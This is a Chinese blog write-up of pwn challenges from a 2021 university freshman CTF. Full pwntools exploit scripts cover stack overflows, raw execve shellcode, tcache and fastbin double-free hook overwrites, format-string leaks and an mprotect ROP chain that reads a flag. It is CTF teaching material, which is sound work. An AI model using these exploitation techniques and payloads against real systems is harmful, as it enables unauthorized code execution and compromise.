2039 字
10 分钟
阅读量 --
Hits
2021xp0int杯新生赛 Pwn wp
2021-12-13

div_overflow#

分析#

image-20211126202845219

没开 canary 和 PIE

image-20211126203002459

init () 函数发现有一个 signal 绑定,

百度C 库函数 – signal () | 菜鸟教程 (runoob.com)

image-20211126203057998

image-20211126203140394

查看 glibc 源码可以发现,这个是将除零溢出错误信号绑定到 backdoor 函数上了(就是说触发这个信号,不会报错会直接跳转到对应函数运行)

image-20211126203309494

backdoor 函数发现栈溢出漏洞

SIGFPE 信号的触发#

image-20211126203459270

main 函数过程中有一个除法运算,但需要 v4 不为 0 才能进入,那么就不能构造 1/0 的形式

由于计算机采用的是补码的表示方法,32 位机器位可以表示的有符号整数范围为 - 2147483648~2,147,483,647

发现构造 - 2147483648/-1=2147483648,会发生除法溢出,从而进入 backdoor

Exp#

from pwn import *
io = process('./div_overflow')
# io = remote('35.229.138.83',14056)
io.sendline('-2147483648')
io.sendline('-1')
shell = 0x0004007C8
io.recvuntil('Hero, please leave your name :')
p = 'a' * 0x58 + p64(shell)
io.sendline(p)
io.interactive()

guess#

image-20211126224124359

没有开 NX,存在 shellcode 执行

image-20211126224156281

main 函数调用 game (),game () 是主要逻辑,大概意思就是需要预测随机数,首先会使用时间播种

image-20211126224322214

然后随机生成 16 个字符,并存入 s 中

image-20211126224354047

最后需要我们输入 16 字符和 s 进行校验,校验成功就可以进入 good () 函数

image-20211126224423086

IDA 分析 good () 函数的时候报错,只能看汇编了

image-20211126224821861

一通分析下来 good 函数就是 shellcode 后门,这样思路就很明确了,只需要预测随机数 + shellcode

预测随机数#

从 Tover 那里学来的方法,在本地写一个 C 程序

#include<stdio.h>
int main() {
int seed;
setbuf(stdin ,0);
setbuf(stdout, 0);
while (1)
{
printf("seed>");
scanf("%d", &seed);
srand(seed);
printf("ans>");
for(int i = 0; i < 16; ++i) {
printf("%d ", rand() % 255);
}
printf("\n");
}
}

然后在服务器运行的同时运行此程序,这样就可以设置相同的 seed,自然随机出来的数据就是相同的

shelldoe

Exp#

from pwn import *
context.log_level='debug'
rd = process('./rd')
# io = process('./guess')
io = remote('35.229.138.83', 16134)
def randchar(seed):
rd.recvuntil('seed>')
rd.sendline(str(seed))
rd.recvuntil('ans>')
arr = rd.recvuntil(' \n', drop=True).split(' ')
arr = list(map(int, arr))
arr = ''.join(map(chr, arr))
return arr
# print randchar(123456)
io.sendlineafter('May I have your name : ', 'asdfg')
io.recvuntil('Branch hat : Now I tell you the essence of this spell is ')
inp = int(io.recvuntil('\n', drop=True))
print inp
p = randchar(inp)
io.sendafter('Please enter the spell you understand : ', p)
p = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
io.recvuntil('loud')
io.sendline(p)
io.interactive()

H.E.A.P#

image-20211126233747324

image-20211126233759571

image-20211126233841835

堆题,libc 版本 2.27 存在 tcache bin

image-20211126233920786

发现漏洞,free 之后没有将指针清空,利用之后可以任意地址写

Exp#

from pwn import *
context.log_level='debug'
io = remote('35.229.138.83', 11009)
# io = process(['./ld-2.27.so', './chall'], env={'LD_PRELOAD':'./libc-2.27.so'})
libc = ELF('./libc-2.27.so')
def add(idx, size):
io.sendlineafter('Your choice >> ', '1')
io.sendlineafter('Index: ', str(idx))
io.sendlineafter('Size: ', str(size))
def free(idx):
io.sendlineafter('Your choice >> ', '2')
io.sendlineafter('Index: ', str(idx))
def show(idx):
io.sendlineafter('Your choice >> ', '3')
io.sendlineafter('Index: ', str(idx))
def edit(idx, content):
io.sendlineafter('Your choice >> ', '4')
io.sendlineafter('Index: ', str(idx))
io.sendlineafter('Content: ', content)
main_arena = 0x000003EBC40
for i in range(8):
add(i, 0x90)
add(8, 0x90)
for i in range(8):
free(7-i)
show(0) # 泄露main_arana地址
io.recvuntil('Content: ')
inp = u64(io.recvuntil('\n', drop=True).ljust(8,'\0'))
libc_base = inp-96-main_arena
print hex(libc_base)
ogg = [0x4f3d5,0x4f432,0x10a41c] # one gadget
edit(1, p64(libc_base + libc.sym['__free_hook'])) # 修改fd指针为__free_hook地址
add(10, 0x90)
add(11, 0x90) # 11号堆块在__free_hook位置
edit(11, p64(ogg[1]+libc_base)) # 在__free_hook位置写入one gadget
# gdb.attach(io)
# add(12, 0x90)
free(0) # 除法free函数,执行ogg
io.interactive()

具体利用方法见CTF pwn 题堆入门 — Tcache bin_lifanxin 的博客 - CSDN 博客

BasicMath#

image-20211126234339793

image-20211126234403168

又有随机数,但这一次需要预测,直接利用 python eval () 计算结果就行,注意到有 16 个问题,当 i==15 是,会进入 last_problem 函数

image-20211126234530108

貌似没有什么问题

再仔细观察就会发现,readint 返回的是 64 位有符号整型数

image-20211126234625584

但进行校验的时候,取得是 v5 得高 32 位字节判断,所以只需要最后一次输入的数比较大就行

image-20211126234633993

然后就是进入 gift 函数

image-20211126235123293

发现有 leak 和溢出漏洞

Exp#

from pwn import *
context.log_level='debug'
io = remote('35.229.138.83',10874)
# io = process(['./ld-2.27.so','./chall'], env={"LD_PRELOAD": './libc-2.27.so'})
libc = ELF('./libc-2.27.so')
for i in range(15):
io.recvuntil(']')
inp = io.recvuntil(' = ?', drop=True)
ans = eval(inp)
io.sendline(str(ans))
io.recvuntil(' = ?')
io.sendline('11111111111111')
ogg = [0x4f3d5,0x4f432,0x10a41c]
# gdb.attach(io)
print io.recv(8)
canary = u64(io.recv(8).ljust(8, '\0')) # 泄露canary
stack = u64(io.recv(8).ljust(8, '\0')) # 泄露栈地址
func_base = u64(io.recv(8).ljust(8, '\0')) - 0x000000000000168A # 泄露函数加载地址
io.recv(8 * 5)
libc_base = u64(io.recv(8).ljust(8, '\0')) - 231 - libc.sym['__libc_start_main'] # 泄露libc基址
print hex(canary)
print hex(func_base)
print hex(libc_base)
pop_rdi = 0x00000001713 + func_base
libc.address = libc_base
p = p64(canary) + p64(0) + p64(pop_rdi+1) + p64(pop_rdi) + p64(stack) + p64(libc.sym['system']) + p64(0xdeadbeaf) + '/bin/sh\0'
io.send(p)
io.interactive()

easyheap#

image-20211126235844561

image-20211126235859619

又是堆题,libc 版本 2.23 没有 tcache

image-20211126235945221

image-20211126235953460

image-20211127000000431

似曾相识的 tea,这个题目构造貌似在那里见过?(难道是那个某省的第一届攻防大赛?)

tea 解密#

本地写一个 c10udlnk 教我的 tea 解密脚本

#include <stdio.h>
#include <stdint.h>
void decrypt (uint32_t* v, uint32_t* k, uint32_t delta) {
uint32_t v0=v[0], v1=v[1], sum=delta*32, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0;
v[1]=v1;
}
int main()
{
uint32_t c[2] = {0};
uint32_t k[4];
uint32_t del;
memcpy((char*)k, "ggslggyzgghysdyy", sizeof(k));
scanf("%x %x %u", &c[0], &c[1], &del);
decrypt(c, k, del);
printf("%x %x\n", c[0], c[1]);
return 0;
}

double free#

free 函数

image-20211127000428499

清零过程

image-20211127000437945

会发现第 15 个块,会被 free 但不会清零

之后就是 fastbin 的 double free 攻击

Exp#

from pwn import *
context.log_level = 'debug'
def tea(c1, c2, de):
c1 = hex(c1)
c2 = hex(c2)
teaio = process('./tea')
teaio.sendline(c1 + ' ' + c2 + ' ' + str(de))
r = teaio.recvuntil('\n', drop=True).split(' ')
return int(r[0], 16), int(r[1], 16)
io = remote('35.229.138.83',11967)
# io = process(['./ld-2.23.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})
libc = ELF('./libc.so')
io.recvuntil('Your secret key: ')
d = int(io.recvuntil('\n', drop=True))
io.recvuntil('My gift: ')
s = io.recvuntil('\n').split(',')
cc0, cc1 = int(s[0], 16), int(s[1], 16)
p0, p1 = tea(cc0, cc1, d)
io.recvuntil('Your gift: ')
io.sendline(str(p0) + ',' + str(p1))
def add(idx, size, content):
io.sendlineafter('choice >>', '1')
io.sendlineafter('id: ', str(idx))
io.sendlineafter('size: ', str(size))
io.sendlineafter('content: ', content)
def free():
io.sendlineafter('choice >>', '2')
def show():
io.sendlineafter('choice >>', '1638')
io.recvuntil('Your gift: ')
return int(io.recvuntil('\n', drop=True), 16)
ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
libc.address = show() - libc.sym['puts']
print hex(libc.address)
add(15, 0x60, 'aaa')
free()
add(13, 0x60, 'aaa') # 13位置地址 == 15位置地址
add(14, 0x60, 'aaa') # 中间有一个绕过double free检查
free()
add(0, 0x60, p64(libc.sym['__malloc_hook']-0x23))
add(1, 0x60, 'aaaa')
add(2, 0x60, 'aaaa')
add(3, 0x68, '\0'*19 + p64(libc.address + ogg[3]))
# gdb.attach(io)
io.sendlineafter('choice >>', '1')
io.sendlineafter('id: ', '4')
io.sendlineafter('size: ', '20')
# free()
io.interactive()

fastbin double free 利用方法见CTF pwn 题堆入门 — Fast bin_lifanxin 的博客 - CSDN 博客

gift#

image-20211127000816797

image-20211127000919468

发现沙盒使用 seccomp-tools,查看发现 execve 函数被禁用了,也就是说不能调用 system、shellcode getshell 这些 getshell,解决方法 orw(open、read、write),原理就是 open 打开本地文件,read 读取进入内存,write 打印到屏幕

image-20211127000958031

image-20211127001150997

gift 函数发现有一个格式化字符串漏洞,可以泄露栈地址、libc 地址和函数加载地址

image-20211127001405741

main 函数发现有一个栈溢出的漏洞,但只能覆盖返回地址,不能直接构造 ROP,但发现 name 在 bss 段,可以先在 name 函数中布置 rop,然后利用两次 leave;retn 劫持 rsp,实现栈迁移到 bss,执行在 name 中构造的 rop

ROP#

rop 思路首先需要实现 orw,需要编写 shellcode

sc = asm(shellcraft.open('./flag'))
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30))
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30))

然后需要调用 libc 中的 mprotect 函数,将 bss 段权限改为可读可写可执行,最后跳转到 shellcode 上

Exp#

from pwn import *
context.log_level='debug'
context(arch='amd64')
io = remote('35.229.138.83', 13789)
# io = process(['./ld-2.27.so','./gift'], env={"LD_PRELOAD": './libc-2.27.so'})
libc = ELF('./libc-2.27.so')
elf = ELF('./gift')
name = 0x0000000202060
# gdb.attach(io)
io.recvuntil('this the gift for you.\n')
io.send('%9$p-%19$p-%11$p')
io.recvuntil('0x')
canary = int(io.recvuntil('-', drop=True), 16)
start_main = int(io.recvuntil('-', drop=True), 16)
libc_base = start_main - 231 - libc.sym['__libc_start_main']
print hex(libc_base)
libc.address = libc_base
inp = int(io.recv(14), 16)
print hex(inp)
elf.address = inp - 0x000000B78 - 43
print hex(elf.address)
pop_rdi = elf.address + 0x000000000000C73
pop_rsi = libc_base + 0x0000000000023eea
pop_rdx = libc_base + 0x0000000000001b96
print hex(pop_rdi)
print hex(pop_rsi)
print hex(pop_rdx)
print hex(libc.sym['system'])
sc = asm(shellcraft.open('./flag')) # open("./flag")
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30)) # read(3, buf, 0x30)
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30)) # write(1, buf, 0x30)
print len(sc)
print sc
print libc.sym['mprotect']
p = sc
p += p64(0) + p64(pop_rdx) + p64(0x7) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdi) + p64((elf.address + name) & 0xffffffffff000) + p64(libc.sym['mprotect']) + p64(elf.address + name)
print len(p)
io.sendlineafter('please input your name:\n', p)
# gdb.attach(io)
p = 'a' * (0x30 - 8) + p64(canary) + p64(elf.address + name + len(sc)) + p64(elf.address + 0x0000000C00)
io.recvuntil('what do you want to say?\n')
io.send(p)
io.interactive()
# flag{gO

babystack#

异构 pwn 耶!

image-20211127002135923

保护全关

image-20211127002336060

发现有一个格式化字符串漏洞,可以泄露栈地址

查阅一番资料,并看汇编发现,arm 架构下 PC 也会存放在栈上,动态调试一番就可以算到偏移量

image-20211127002833507

然后再 v6 中编写 shellcode,并跳转执行即可

from pwn import *
# io = process(['qemu-arm','-g','1234','./pwn'])
# io = process(['qemu-arm','./pwn'])
io = remote('35.229.138.83', 10008)
# gdb.attach(io)
io.recvuntil('I am a repeater without any emotion.\n')
io.send('%1$p')
stack = int(io.recvuntil('Do you have any questions?', drop=True), 16)
print hex(stack)
context(arch='arm')
p = 'a' * 8 + p32(stack + 0x4 * 3) + asm(shellcraft.sh())
io.sendline(p)
io.interactive()

by Csome#

!!! 暨南大学 xp0int 杯 wp 收集截止前禁止发送给暨南大学的同学,产生的后果由转发者承担!!!

2021xp0int杯新生赛 Pwn wp
https://blog.csome.cc/p/xp0intCTF-wp/
作者
Csome
发布于
2021-12-13
许可协议
CC BY-SA 3.0